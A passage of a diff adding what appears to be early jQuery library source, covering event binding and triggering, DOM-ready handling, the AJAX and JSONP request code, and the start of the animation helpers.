+                                                       elem.attachEvent("on" + type, handle);
+                                       }
+                               }
+
+                               // Add the function to the element's handler list
+                               handlers[handler.guid] = handler;
+
+                               // Keep track of which events have been used, for global triggering
+                               jQuery.event.global[type] = true;
+                       });
+               
+               // Nullify elem to prevent memory leaks in IE
+               elem = null;
+       },
+
+       guid: 1,
+       global: {},
+
+       // Detach an event or set of events from an element
+       remove: function(elem, types, handler) {
+               // don't do events on text and comment nodes
+               if ( elem.nodeType == 3 || elem.nodeType == 8 )
+                       return;
+
+               var events = jQuery.data(elem, "events"), ret, index;
+
+               if ( events ) {
+                       // Unbind all events for the element
+                       if ( types == undefined || (typeof types == "string" && types.charAt(0) == ".") )
+                               for ( var type in events )
+                                       this.remove( elem, type + (types || "") );
+                       else {
+                               // types is actually an event object here
+                               if ( types.type ) {
+                                       handler = types.handler;
+                                       types = types.type;
+                               }
+                               
+                               // Handle multiple events seperated by a space
+                               // jQuery(...).unbind("mouseover mouseout", fn);
+                               jQuery.each(types.split(/\s+/), function(index, type){
+                                       // Namespaced event handlers
+                                       var parts = type.split(".");
+                                       type = parts[0];
+                                       
+                                       if ( events[type] ) {
+                                               // remove the given handler for the given type
+                                               if ( handler )
+                                                       delete events[type][handler.guid];
+                       
+                                               // remove all handlers for the given type
+                                               else
+                                                       for ( handler in events[type] )
+                                                               // Handle the removal of namespaced events
+                                                               if ( !parts[1] || events[type][handler].type == parts[1] )
+                                                                       delete events[type][handler];
+
+                                               // remove generic event handler if no more handlers exist
+                                               for ( ret in events[type] ) break;
+                                               if ( !ret ) {
+                                                       if ( !jQuery.event.special[type] || jQuery.event.special[type].teardown.call(elem) === false ) {
+                                                               if (elem.removeEventListener)
+                                                                       elem.removeEventListener(type, jQuery.data(elem, "handle"), false);
+                                                               else if (elem.detachEvent)
+                                                                       elem.detachEvent("on" + type, jQuery.data(elem, "handle"));
+                                                       }
+                                                       ret = null;
+                                                       delete events[type];
+                                               }
+                                       }
+                               });
+                       }
+
+                       // Remove the expando if it's no longer used
+                       for ( ret in events ) break;
+                       if ( !ret ) {
+                               var handle = jQuery.data( elem, "handle" );
+                               if ( handle ) handle.elem = null;
+                               jQuery.removeData( elem, "events" );
+                               jQuery.removeData( elem, "handle" );
+                       }
+               }
+       },
+
+       trigger: function(type, data, elem, donative, extra) {
+               // Clone the incoming data, if any
+               data = jQuery.makeArray(data || []);
+
+               if ( type.indexOf("!") >= 0 ) {
+                       type = type.slice(0, -1);
+                       var exclusive = true;
+               }
+
+               // Handle a global trigger
+               if ( !elem ) {
+                       // Only trigger if we've ever bound an event for it
+                       if ( this.global[type] )
+                               jQuery("*").add([window, document]).trigger(type, data);
+
+               // Handle triggering a single element
+               } else {
+                       // don't do events on text and comment nodes
+                       if ( elem.nodeType == 3 || elem.nodeType == 8 )
+                               return undefined;
+
+                       var val, ret, fn = jQuery.isFunction( elem[ type ] || null ),
+                               // Check to see if we need to provide a fake event, or not
+                               event = !data[0] || !data[0].preventDefault;
+                       
+                       // Pass along a fake event
+                       if ( event )
+                               data.unshift( this.fix({ type: type, target: elem }) );
+
+                       // Enforce the right trigger type
+                       data[0].type = type;
+                       if ( exclusive )
+                               data[0].exclusive = true;
+
+                       // Trigger the event
+                       if ( jQuery.isFunction( jQuery.data(elem, "handle") ) )
+                               val = jQuery.data(elem, "handle").apply( elem, data );
+
+                       // Handle triggering native .onfoo handlers
+                       if ( !fn && elem["on"+type] && elem["on"+type].apply( elem, data ) === false )
+                               val = false;
+
+                       // Extra functions don't get the custom event object
+                       if ( event )
+                               data.shift();
+
+                       // Handle triggering of extra function
+                       if ( extra && jQuery.isFunction( extra ) ) {
+                               // call the extra function and tack the current return value on the end for possible inspection
+                               ret = extra.apply( elem, val == null ? data : data.concat( val ) );
+                               // if anything is returned, give it precedence and have it overwrite the previous value
+                               if (ret !== undefined)
+                                       val = ret;
+                       }
+
+                       // Trigger the native events (except for clicks on links)
+                       if ( fn && donative !== false && val !== false && !(jQuery.nodeName(elem, 'a') && type == "click") ) {
+                               this.triggered = true;
+                               try {
+                                       elem[ type ]();
+                               // prevent IE from throwing an error for some hidden elements
+                               } catch (e) {}
+                       }
+
+                       this.triggered = false;
+               }
+
+               return val;
+       },
+
+       handle: function(event) {
+               // returned undefined or false
+               var val;
+
+               // Empty object is for triggered events with no data
+               event = jQuery.event.fix( event || window.event || {} ); 
+
+               // Namespaced event handlers
+               var parts = event.type.split(".");
+               event.type = parts[0];
+
+               var handlers = jQuery.data(this, "events") && jQuery.data(this, "events")[event.type], args = Array.prototype.slice.call( arguments, 1 );
+               args.unshift( event );
+
+               for ( var j in handlers ) {
+                       var handler = handlers[j];
+                       // Pass in a reference to the handler function itself
+                       // So that we can later remove it
+                       args[0].handler = handler;
+                       args[0].data = handler.data;
+
+                       // Filter the functions by class
+                       if ( !parts[1] && !event.exclusive || handler.type == parts[1] ) {
+                               var ret = handler.apply( this, args );
+
+                               if ( val !== false )
+                                       val = ret;
+
+                               if ( ret === false ) {
+                                       event.preventDefault();
+                                       event.stopPropagation();
+                               }
+                       }
+               }
+
+               // Clean up added properties in IE to prevent memory leak
+               if (jQuery.browser.msie)
+                       event.target = event.preventDefault = event.stopPropagation =
+                               event.handler = event.data = null;
+
+               return val;
+       },
+
+       fix: function(event) {
+               // store a copy of the original event object 
+               // and clone to set read-only properties
+               var originalEvent = event;
+               event = jQuery.extend({}, originalEvent);
+               
+               // add preventDefault and stopPropagation since 
+               // they will not work on the clone
+               event.preventDefault = function() {
+                       // if preventDefault exists run it on the original event
+                       if (originalEvent.preventDefault)
+                               originalEvent.preventDefault();
+                       // otherwise set the returnValue property of the original event to false (IE)
+                       originalEvent.returnValue = false;
+               };
+               event.stopPropagation = function() {
+                       // if stopPropagation exists run it on the original event
+                       if (originalEvent.stopPropagation)
+                               originalEvent.stopPropagation();
+                       // otherwise set the cancelBubble property of the original event to true (IE)
+                       originalEvent.cancelBubble = true;
+               };
+               
+               // Fix target property, if necessary
+               if ( !event.target )
+                       event.target = event.srcElement || document; // Fixes #1925 where srcElement might not be defined either
+                               
+               // check if target is a textnode (safari)
+               if ( event.target.nodeType == 3 )
+                       event.target = originalEvent.target.parentNode;
+
+               // Add relatedTarget, if necessary
+               if ( !event.relatedTarget && event.fromElement )
+                       event.relatedTarget = event.fromElement == event.target ? event.toElement : event.fromElement;
+
+               // Calculate pageX/Y if missing and clientX/Y available
+               if ( event.pageX == null && event.clientX != null ) {
+                       var doc = document.documentElement, body = document.body;
+                       event.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc.clientLeft || 0);
+                       event.pageY = event.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc.clientTop || 0);
+               }
+                       
+               // Add which for key events
+               if ( !event.which && ((event.charCode || event.charCode === 0) ? event.charCode : event.keyCode) )
+                       event.which = event.charCode || event.keyCode;
+               
+               // Add metaKey to non-Mac browsers (use ctrl for PC's and Meta for Macs)
+               if ( !event.metaKey && event.ctrlKey )
+                       event.metaKey = event.ctrlKey;
+
+               // Add which for click: 1 == left; 2 == middle; 3 == right
+               // Note: button is not normalized, so don't use it
+               if ( !event.which && event.button )
+                       event.which = (event.button & 1 ? 1 : ( event.button & 2 ? 3 : ( event.button & 4 ? 2 : 0 ) ));
+                       
+               return event;
+       },
+       
+       special: {
+               ready: {
+                       setup: function() {
+                               // Make sure the ready event is setup
+                               bindReady();
+                               return;
+                       },
+                       
+                       teardown: function() { return; }
+               },
+               
+               mouseenter: {
+                       setup: function() {
+                               if ( jQuery.browser.msie ) return false;
+                               jQuery(this).bind("mouseover", jQuery.event.special.mouseenter.handler);
+                               return true;
+                       },
+               
+                       teardown: function() {
+                               if ( jQuery.browser.msie ) return false;
+                               jQuery(this).unbind("mouseover", jQuery.event.special.mouseenter.handler);
+                               return true;
+                       },
+                       
+                       handler: function(event) {
+                               // If we actually just moused on to a sub-element, ignore it
+                               if ( withinElement(event, this) ) return true;
+                               // Execute the right handlers by setting the event type to mouseenter
+                               arguments[0].type = "mouseenter";
+                               return jQuery.event.handle.apply(this, arguments);
+                       }
+               },
+       
+               mouseleave: {
+                       setup: function() {
+                               if ( jQuery.browser.msie ) return false;
+                               jQuery(this).bind("mouseout", jQuery.event.special.mouseleave.handler);
+                               return true;
+                       },
+               
+                       teardown: function() {
+                               if ( jQuery.browser.msie ) return false;
+                               jQuery(this).unbind("mouseout", jQuery.event.special.mouseleave.handler);
+                               return true;
+                       },
+                       
+                       handler: function(event) {
+                               // If we actually just moused on to a sub-element, ignore it
+                               if ( withinElement(event, this) ) return true;
+                               // Execute the right handlers by setting the event type to mouseleave
+                               arguments[0].type = "mouseleave";
+                               return jQuery.event.handle.apply(this, arguments);
+                       }
+               }
+       }
+};
+
+jQuery.fn.extend({
+       bind: function( type, data, fn ) {
+               return type == "unload" ? this.one(type, data, fn) : this.each(function(){
+                       jQuery.event.add( this, type, fn || data, fn && data );
+               });
+       },
+       
+       one: function( type, data, fn ) {
+               return this.each(function(){
+                       jQuery.event.add( this, type, function(event) {
+                               jQuery(this).unbind(event);
+                               return (fn || data).apply( this, arguments);
+                       }, fn && data);
+               });
+       },
+
+       unbind: function( type, fn ) {
+               return this.each(function(){
+                       jQuery.event.remove( this, type, fn );
+               });
+       },
+
+       trigger: function( type, data, fn ) {
+               return this.each(function(){
+                       jQuery.event.trigger( type, data, this, true, fn );
+               });
+       },
+
+       triggerHandler: function( type, data, fn ) {
+               if ( this[0] )
+                       return jQuery.event.trigger( type, data, this[0], false, fn );
+               return undefined;
+       },
+
+       toggle: function() {
+               // Save reference to arguments for access in closure
+               var args = arguments;
+
+               return this.click(function(event) {
+                       // Figure out which function to execute
+                       this.lastToggle = 0 == this.lastToggle ? 1 : 0;
+                       
+                       // Make sure that clicks stop
+                       event.preventDefault();
+                       
+                       // and execute the function
+                       return args[this.lastToggle].apply( this, arguments ) || false;
+               });
+       },
+
+       hover: function(fnOver, fnOut) {
+               return this.bind('mouseenter', fnOver).bind('mouseleave', fnOut);
+       },
+       
+       ready: function(fn) {
+               // Attach the listeners
+               bindReady();
+
+               // If the DOM is already ready
+               if ( jQuery.isReady )
+                       // Execute the function immediately
+                       fn.call( document, jQuery );
+                       
+               // Otherwise, remember the function for later
+               else
+                       // Add the function to the wait list
+                       jQuery.readyList.push( function() { return fn.call(this, jQuery); } );
+       
+               return this;
+       }
+});
+
+jQuery.extend({
+       isReady: false,
+       readyList: [],
+       // Handle when the DOM is ready
+       ready: function() {
+               // Make sure that the DOM is not already loaded
+               if ( !jQuery.isReady ) {
+                       // Remember that the DOM is ready
+                       jQuery.isReady = true;
+                       
+                       // If there are functions bound, to execute
+                       if ( jQuery.readyList ) {
+                               // Execute all of them
+                               jQuery.each( jQuery.readyList, function(){
+                                       this.apply( document );
+                               });
+                               
+                               // Reset the list of functions
+                               jQuery.readyList = null;
+                       }
+               
+                       // Trigger any bound ready events
+                       jQuery(document).triggerHandler("ready");
+               }
+       }
+});
+
+var readyBound = false;
+
+function bindReady(){
+       if ( readyBound ) return;
+       readyBound = true;
+
+       // Mozilla, Opera (see further below for it) and webkit nightlies currently support this event
+       if ( document.addEventListener && !jQuery.browser.opera)
+               // Use the handy event callback
+               document.addEventListener( "DOMContentLoaded", jQuery.ready, false );
+       
+       // If IE is used and is not in a frame
+       // Continually check to see if the document is ready
+       if ( jQuery.browser.msie && window == top ) (function(){
+               if (jQuery.isReady) return;
+               try {
+                       // If IE is used, use the trick by Diego Perini
+                       // http://javascript.nwbox.com/IEContentLoaded/
+                       document.documentElement.doScroll("left");
+               } catch( error ) {
+                       setTimeout( arguments.callee, 0 );
+                       return;
+               }
+               // and execute any waiting functions
+               jQuery.ready();
+       })();
+
+       if ( jQuery.browser.opera )
+               document.addEventListener( "DOMContentLoaded", function () {
+                       if (jQuery.isReady) return;
+                       for (var i = 0; i < document.styleSheets.length; i++)
+                               if (document.styleSheets[i].disabled) {
+                                       setTimeout( arguments.callee, 0 );
+                                       return;
+                               }
+                       // and execute any waiting functions
+                       jQuery.ready();
+               }, false);
+
+       if ( jQuery.browser.safari ) {
+               var numStyles;
+               (function(){
+                       if (jQuery.isReady) return;
+                       if ( document.readyState != "loaded" && document.readyState != "complete" ) {
+                               setTimeout( arguments.callee, 0 );
+                               return;
+                       }
+                       if ( numStyles === undefined )
+                               numStyles = jQuery("style, link[rel=stylesheet]").length;
+                       if ( document.styleSheets.length != numStyles ) {
+                               setTimeout( arguments.callee, 0 );
+                               return;
+                       }
+                       // and execute any waiting functions
+                       jQuery.ready();
+               })();
+       }
+
+       // A fallback to window.onload, that will always work
+       jQuery.event.add( window, "load", jQuery.ready );
+}
+
+jQuery.each( ("blur,focus,load,resize,scroll,unload,click,dblclick," +
+       "mousedown,mouseup,mousemove,mouseover,mouseout,change,select," + 
+       "submit,keydown,keypress,keyup,error").split(","), function(i, name){
+       
+       // Handle event binding
+       jQuery.fn[name] = function(fn){
+               return fn ? this.bind(name, fn) : this.trigger(name);
+       };
+});
+
+// Checks if an event happened on an element within another element
+// Used in jQuery.event.special.mouseenter and mouseleave handlers
+var withinElement = function(event, elem) {
+       // Check if mouse(over|out) are still within the same parent element
+       var parent = event.relatedTarget;
+       // Traverse up the tree
+       while ( parent && parent != elem ) try { parent = parent.parentNode; } catch(error) { parent = elem; }
+       // Return true if we actually just moused on to a sub-element
+       return parent == elem;
+};
+
+// Prevent memory leaks in IE
+// And prevent errors on refresh with events like mouseover in other browsers
+// Window isn't included so as not to unbind existing unload events
+jQuery(window).bind("unload", function() {
+       jQuery("*").add(document).unbind();
+});
+jQuery.fn.extend({
+       load: function( url, params, callback ) {
+               if ( jQuery.isFunction( url ) )
+                       return this.bind("load", url);
+
+               var off = url.indexOf(" ");
+               if ( off >= 0 ) {
+                       var selector = url.slice(off, url.length);
+                       url = url.slice(0, off);
+               }
+
+               callback = callback || function(){};
+
+               // Default to a GET request
+               var type = "GET";
+
+               // If the second parameter was provided
+               if ( params )
+                       // If it's a function
+                       if ( jQuery.isFunction( params ) ) {
+                               // We assume that it's the callback
+                               callback = params;
+                               params = null;
+
+                       // Otherwise, build a param string
+                       } else {
+                               params = jQuery.param( params );
+                               type = "POST";
+                       }
+
+               var self = this;
+
+               // Request the remote document
+               jQuery.ajax({
+                       url: url,
+                       type: type,
+                       dataType: "html",
+                       data: params,
+                       complete: function(res, status){
+                               // If successful, inject the HTML into all the matched elements
+                               if ( status == "success" || status == "notmodified" )
+                                       // See if a selector was specified
+                                       self.html( selector ?
+                                               // Create a dummy div to hold the results
+                                               jQuery("<div/>")
+                                                       // inject the contents of the document in, removing the scripts
+                                                       // to avoid any 'Permission Denied' errors in IE
+                                                       .append(res.responseText.replace(/<script(.|\s)*?\/script>/g, ""))
+
+                                                       // Locate the specified elements
+                                                       .find(selector) :
+
+                                               // If not, just inject the full result
+                                               res.responseText );
+
+                               self.each( callback, [res.responseText, status, res] );
+                       }
+               });
+               return this;
+       },
+
+       serialize: function() {
+               return jQuery.param(this.serializeArray());
+       },
+       serializeArray: function() {
+               return this.map(function(){
+                       return jQuery.nodeName(this, "form") ?
+                               jQuery.makeArray(this.elements) : this;
+               })
+               .filter(function(){
+                       return this.name && !this.disabled && 
+                               (this.checked || /select|textarea/i.test(this.nodeName) || 
+                                       /text|hidden|password/i.test(this.type));
+               })
+               .map(function(i, elem){
+                       var val = jQuery(this).val();
+                       return val == null ? null :
+                               val.constructor == Array ?
+                                       jQuery.map( val, function(val, i){
+                                               return {name: elem.name, value: val};
+                                       }) :
+                                       {name: elem.name, value: val};
+               }).get();
+       }
+});
+
+// Attach a bunch of functions for handling common AJAX events
+jQuery.each( "ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","), function(i,o){
+       jQuery.fn[o] = function(f){
+               return this.bind(o, f);
+       };
+});
+
+var jsc = (new Date).getTime();
+
+jQuery.extend({
+       get: function( url, data, callback, type ) {
+               // shift arguments if data argument was ommited
+               if ( jQuery.isFunction( data ) ) {
+                       callback = data;
+                       data = null;
+               }
+               
+               return jQuery.ajax({
+                       type: "GET",
+                       url: url,
+                       data: data,
+                       success: callback,
+                       dataType: type
+               });
+       },
+
+       getScript: function( url, callback ) {
+               return jQuery.get(url, null, callback, "script");
+       },
+
+       getJSON: function( url, data, callback ) {
+               return jQuery.get(url, data, callback, "json");
+       },
+
+       post: function( url, data, callback, type ) {
+               if ( jQuery.isFunction( data ) ) {
+                       callback = data;
+                       data = {};
+               }
+
+               return jQuery.ajax({
+                       type: "POST",
+                       url: url,
+                       data: data,
+                       success: callback,
+                       dataType: type
+               });
+       },
+
+       ajaxSetup: function( settings ) {
+               jQuery.extend( jQuery.ajaxSettings, settings );
+       },
+
+       ajaxSettings: {
+               global: true,
+               type: "GET",
+               timeout: 0,
+               contentType: "application/x-www-form-urlencoded",
+               processData: true,
+               async: true,
+               data: null,
+               username: null,
+               password: null,
+               accepts: {
+                       xml: "application/xml, text/xml",
+                       html: "text/html",
+                       script: "text/javascript, application/javascript",
+                       json: "application/json, text/javascript",
+                       text: "text/plain",
+                       _default: "*/*"
+               }
+       },
+       
+       // Last-Modified header cache for next request
+       lastModified: {},
+
+       ajax: function( s ) {
+               var jsonp, jsre = /=\?(&|$)/g, status, data;
+
+               // Extend the settings, but re-extend 's' so that it can be
+               // checked again later (in the test suite, specifically)
+               s = jQuery.extend(true, s, jQuery.extend(true, {}, jQuery.ajaxSettings, s));
+
+               // convert data if not already a string
+               if ( s.data && s.processData && typeof s.data != "string" )
+                       s.data = jQuery.param(s.data);
+
+               // Handle JSONP Parameter Callbacks
+               if ( s.dataType == "jsonp" ) {
+                       if ( s.type.toLowerCase() == "get" ) {
+                               if ( !s.url.match(jsre) )
+                                       s.url += (s.url.match(/\?/) ? "&" : "?") + (s.jsonp || "callback") + "=?";
+                       } else if ( !s.data || !s.data.match(jsre) )
+                               s.data = (s.data ? s.data + "&" : "") + (s.jsonp || "callback") + "=?";
+                       s.dataType = "json";
+               }
+
+               // Build temporary JSONP function
+               if ( s.dataType == "json" && (s.data && s.data.match(jsre) || s.url.match(jsre)) ) {
+                       jsonp = "jsonp" + jsc++;
+
+                       // Replace the =? sequence both in the query string and the data
+                       if ( s.data )
+                               s.data = (s.data + "").replace(jsre, "=" + jsonp + "$1");
+                       s.url = s.url.replace(jsre, "=" + jsonp + "$1");
+
+                       // We need to make sure
+                       // that a JSONP style response is executed properly
+                       s.dataType = "script";
+
+                       // Handle JSONP-style loading
+                       window[ jsonp ] = function(tmp){
+                               data = tmp;
+                               success();
+                               complete();
+                               // Garbage collect
+                               window[ jsonp ] = undefined;
+                               try{ delete window[ jsonp ]; } catch(e){}
+                               if ( head )
+                                       head.removeChild( script );
+                       };
+               }
+
+               if ( s.dataType == "script" && s.cache == null )
+                       s.cache = false;
+
+               if ( s.cache === false && s.type.toLowerCase() == "get" ) {
+                       var ts = (new Date()).getTime();
+                       // try replacing _= if it is there
+                       var ret = s.url.replace(/(\?|&)_=.*?(&|$)/, "$1_=" + ts + "$2");
+                       // if nothing was replaced, add timestamp to the end
+                       s.url = ret + ((ret == s.url) ? (s.url.match(/\?/) ? "&" : "?") + "_=" + ts : "");
+               }
+
+               // If data is available, append data to url for get requests
+               if ( s.data && s.type.toLowerCase() == "get" ) {
+                       s.url += (s.url.match(/\?/) ? "&" : "?") + s.data;
+
+                       // IE likes to send both get and post data, prevent this
+                       s.data = null;
+               }
+
+               // Watch for a new set of requests
+               if ( s.global && ! jQuery.active++ )
+                       jQuery.event.trigger( "ajaxStart" );
+
+               // If we're requesting a remote document
+               // and trying to load JSON or Script with a GET
+               if ( (!s.url.indexOf("http") || !s.url.indexOf("//")) && s.dataType == "script" && s.type.toLowerCase() == "get" ) {
+                       var head = document.getElementsByTagName("head")[0];
+                       var script = document.createElement("script");
+                       script.src = s.url;
+                       if (s.scriptCharset)
+                               script.charset = s.scriptCharset;
+
+                       // Handle Script loading
+                       if ( !jsonp ) {
+                               var done = false;
+
+                               // Attach handlers for all browsers
+                               script.onload = script.onreadystatechange = function(){
+                                       if ( !done && (!this.readyState || 
+                                                       this.readyState == "loaded" || this.readyState == "complete") ) {
+                                               done = true;
+                                               success();
+                                               complete();
+                                               head.removeChild( script );
+                                       }
+                               };
+                       }
+
+                       head.appendChild(script);
+
+                       // We handle everything using the script element injection
+                       return undefined;
+               }
+
+               var requestDone = false;
+
+               // Create the request object; Microsoft failed to properly
+               // implement the XMLHttpRequest in IE7, so we use the ActiveXObject when it is available
+               var xml = window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
+
+               // Open the socket
+               xml.open(s.type, s.url, s.async, s.username, s.password);
+
+               // Need an extra try/catch for cross domain requests in Firefox 3
+               try {
+                       // Set the correct header, if data is being sent
+                       if ( s.data )
+                               xml.setRequestHeader("Content-Type", s.contentType);
+
+                       // Set the If-Modified-Since header, if ifModified mode.
+                       if ( s.ifModified )
+                               xml.setRequestHeader("If-Modified-Since",
+                                       jQuery.lastModified[s.url] || "Thu, 01 Jan 1970 00:00:00 GMT" );
+
+                       // Set header so the called script knows that it's an XMLHttpRequest
+                       xml.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+
+                       // Set the Accepts header for the server, depending on the dataType
+                       xml.setRequestHeader("Accept", s.dataType && s.accepts[ s.dataType ] ?
+                               s.accepts[ s.dataType ] + ", */*" :
+                               s.accepts._default );
+               } catch(e){}
+
+               // Allow custom headers/mimetypes
+               if ( s.beforeSend )
+                       s.beforeSend(xml);
+                       
+               if ( s.global )
+                       jQuery.event.trigger("ajaxSend", [xml, s]);
+
+               // Wait for a response to come back
+               var onreadystatechange = function(isTimeout){
+                       // The transfer is complete and the data is available, or the request timed out
+                       if ( !requestDone && xml && (xml.readyState == 4 || isTimeout == "timeout") ) {
+                               requestDone = true;
+                               
+                               // clear poll interval
+                               if (ival) {
+                                       clearInterval(ival);
+                                       ival = null;
+                               }
+                               
+                               status = isTimeout == "timeout" && "timeout" ||
+                                       !jQuery.httpSuccess( xml ) && "error" ||
+                                       s.ifModified && jQuery.httpNotModified( xml, s.url ) && "notmodified" ||
+                                       "success";
+
+                               if ( status == "success" ) {
+                                       // Watch for, and catch, XML document parse errors
+                                       try {
+                                               // process the data (runs the xml through httpData regardless of callback)
+                                               data = jQuery.httpData( xml, s.dataType );
+                                       } catch(e) {
+                                               status = "parsererror";
+                                       }
+                               }
+
+                               // Make sure that the request was successful or notmodified
+                               if ( status == "success" ) {
+                                       // Cache Last-Modified header, if ifModified mode.
+                                       var modRes;
+                                       try {
+                                               modRes = xml.getResponseHeader("Last-Modified");
+                                       } catch(e) {} // swallow exception thrown by FF if header is not available
+       
+                                       if ( s.ifModified && modRes )
+                                               jQuery.lastModified[s.url] = modRes;
+
+                                       // JSONP handles its own success callback
+                                       if ( !jsonp )
+                                               success();      
+                               } else
+                                       jQuery.handleError(s, xml, status);
+
+                               // Fire the complete handlers
+                               complete();
+
+                               // Stop memory leaks
+                               if ( s.async )
+                                       xml = null;
+                       }
+               };
+               
+               if ( s.async ) {
+                       // don't attach the handler to the request, just poll it instead
+                       var ival = setInterval(onreadystatechange, 13); 
+
+                       // Timeout checker
+                       if ( s.timeout > 0 )
+                               setTimeout(function(){
+                                       // Check to see if the request is still happening
+                                       if ( xml ) {
+                                               // Cancel the request
+                                               xml.abort();
+       
+                                               if( !requestDone )
+                                                       onreadystatechange( "timeout" );
+                                       }
+                               }, s.timeout);
+               }
+                       
+               // Send the data
+               try {
+                       xml.send(s.data);
+               } catch(e) {
+                       jQuery.handleError(s, xml, null, e);
+               }
+               
+               // firefox 1.5 doesn't fire statechange for sync requests
+               if ( !s.async )
+                       onreadystatechange();
+
+               function success(){
+                       // If a local callback was specified, fire it and pass it the data
+                       if ( s.success )
+                               s.success( data, status );
+
+                       // Fire the global callback
+                       if ( s.global )
+                               jQuery.event.trigger( "ajaxSuccess", [xml, s] );
+               }
+
+               function complete(){
+                       // Process result
+                       if ( s.complete )
+                               s.complete(xml, status);
+
+                       // The request was completed
+                       if ( s.global )
+                               jQuery.event.trigger( "ajaxComplete", [xml, s] );
+
+                       // Handle the global AJAX counter
+                       if ( s.global && ! --jQuery.active )
+                               jQuery.event.trigger( "ajaxStop" );
+               }
+               
+               // return XMLHttpRequest to allow aborting the request etc.
+               return xml;
+       },
+
+       handleError: function( s, xml, status, e ) {
+               // If a local callback was specified, fire it
+               if ( s.error ) s.error( xml, status, e );
+
+               // Fire the global callback
+               if ( s.global )
+                       jQuery.event.trigger( "ajaxError", [xml, s, e] );
+       },
+
+       // Counter for holding the number of active queries
+       active: 0,
+
+       // Determines if an XMLHttpRequest was successful or not
+       httpSuccess: function( r ) {
+               try {
+                       // IE error sometimes returns 1223 when it should be 204 so treat it as success, see #1450
+                       return !r.status && location.protocol == "file:" ||
+                               ( r.status >= 200 && r.status < 300 ) || r.status == 304 || r.status == 1223 ||
+                               jQuery.browser.safari && r.status == undefined;
+               } catch(e){}
+               return false;
+       },
+
+       // Determines if an XMLHttpRequest returns NotModified
+       httpNotModified: function( xml, url ) {
+               try {
+                       var xmlRes = xml.getResponseHeader("Last-Modified");
+
+                       // Firefox always returns 200. check Last-Modified date
+                       return xml.status == 304 || xmlRes == jQuery.lastModified[url] ||
+                               jQuery.browser.safari && xml.status == undefined;
+               } catch(e){}
+               return false;
+       },
+
+       httpData: function( r, type ) {
+               var ct = r.getResponseHeader("content-type");
+               var xml = type == "xml" || !type && ct && ct.indexOf("xml") >= 0;
+               var data = xml ? r.responseXML : r.responseText;
+
+               if ( xml && data.documentElement.tagName == "parsererror" )
+                       throw "parsererror";
+
+               // If the type is "script", eval it in global context
+               if ( type == "script" )
+                       jQuery.globalEval( data );
+
+               // Get the JavaScript object, if JSON is used.
+               if ( type == "json" )
+                       data = eval("(" + data + ")");
+
+               return data;
+       },
+
+       // Serialize an array of form elements or a set of
+       // key/values into a query string
+       param: function( a ) {
+               var s = [];
+
+               // If an array was passed in, assume that it is an array
+               // of form elements
+               if ( a.constructor == Array || a.jquery )
+                       // Serialize the form elements
+                       jQuery.each( a, function(){
+                               s.push( encodeURIComponent(this.name) + "=" + encodeURIComponent( this.value ) );
+                       });
+
+               // Otherwise, assume that it's an object of key/value pairs
+               else
+                       // Serialize the key/values
+                       for ( var j in a )
+                               // If the value is an array then the key names need to be repeated
+                               if ( a[j] && a[j].constructor == Array )
+                                       jQuery.each( a[j], function(){
+                                               s.push( encodeURIComponent(j) + "=" + encodeURIComponent( this ) );
+                                       });
+                               else
+                                       s.push( encodeURIComponent(j) + "=" + encodeURIComponent( a[j] ) );
+
+               // Return the resulting serialization
+               return s.join("&").replace(/%20/g, "+");
+       }
+
+});
+jQuery.fn.extend({
+       show: function(speed,callback){
+               return speed ?
+                       this.animate({
+                               height: "show", width: "show", opacity: "show"
+                       }, speed, callback) :
+                       
+                       this.filter(":hidden").each(function(){
+                               this.style.display = this.oldblock || "";
+                               if ( jQuery.css(this,"display") == "none" ) {
+                                       var elem = jQuery("<" + this.tagName + " />").appendTo("body");
+                                       this.style.display = elem.css("display");
+                                       // handle an edge condition where css is - div { display:none; } or similar
+                                       if (this.style.display == "none")
+                                               this.style.display = "block";
+                                       elem.remove();
+                               }
+                       }).end();
+       },
+       
+       hide: function(speed,callback){
+               return speed ?
+                       this.animate({
+                               height: "hide", width: "hide", opacity: "hide"
+                       }, speed, callback) :
+                       
+                       this.filter(":visible").each(function(){
+                               this.oldblock = this.oldblock || jQuery.css(this,"display");
+                               this.style.display = "none";
+                       }).end();
+       },
+
+       // Save the old toggle function
+       _toggle: jQuery.fn.toggle,
+       
+       toggle: function( fn, fn2 ){
+               return jQuery.isFunction(fn) && jQuery.isFunction(fn2) ?
+                       this._toggle( fn, fn2 ) :
+                       fn ?
+                               this.animate({
+                                       height: "toggle", width: "toggle", opacity: "toggle"
+                               }, fn, fn2) :
+                               this.each(function(){
+                                       jQuery(this)[ jQuery(this).is(":hidden") ? "show" : "hide" ]();
+                               });
+       },
+       
+       slideDown: function(speed,callback){
+               return this.animate({height: "show"}, speed, callback);
+       },
+       
+       slideUp: function(speed,callback){
+               return this.animate({height: "hide"}, speed, callback);
+       },
+
+       slideToggle: function(speed, callback){
+               return this.animate({height: "toggle"}, speed, callback);
+       },
+       
+       fadeIn: function(speed, callback){
+               return this.animate({opacity: "show"}, speed, callback);
+       },
+       
+       fadeOut: function(speed, callback){
+               return this.animate({opacity: "hide"}, speed, callback);
+       },
+       
+       fadeTo: function(speed,to,callback){
+               return this.animate({opacity: to}, speed, callback);
+       },
+       
+       animate: function( prop, speed, easing, callback ) {
+               var optall = jQuery.speed(speed, easing, callback);
+
+               return this[ optall.queue === false ? "each" : "queue" ](function(){
+                       if ( this.nodeType != 1)
+                               return false;
+
+                       var opt = jQuery.extend({}, optall);
+                       var hidden = jQuery(this).is(":hidden"), self = this;
+                       
+                       for ( var p in prop ) {
+                               if ( prop[p] == "hide" && hidden || prop[p] == "show" && !hidden )
+                                       return jQuery.isFunction(opt.complete) && opt.complete.apply(this);
+
+                               if ( p == "height" || p == "width" ) {
+                                       // Store display property
+                                       opt.display = jQuery.css(this, "display");
+
+                                       // Make sure that nothing sneaks out
+                                       opt.overflow = this.style.overflow;
+                               }
+                       }
+
+                       if ( opt.overflow != null )
+                               this.style.overflow = "hidden";
+
+                       opt.curAnim = jQuery.extend({}, prop);
+                       
+                       jQuery.each( prop, function(name, val){
+                               var e = new jQuery.fx( self, opt, name );
+
+                               if ( /toggle|show|hide/.test(val) )
+                                       e[ val == "toggle" ? hidden ? "show" : "hide" : val ]( prop );
+                               else {
+                                       var parts = val.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),
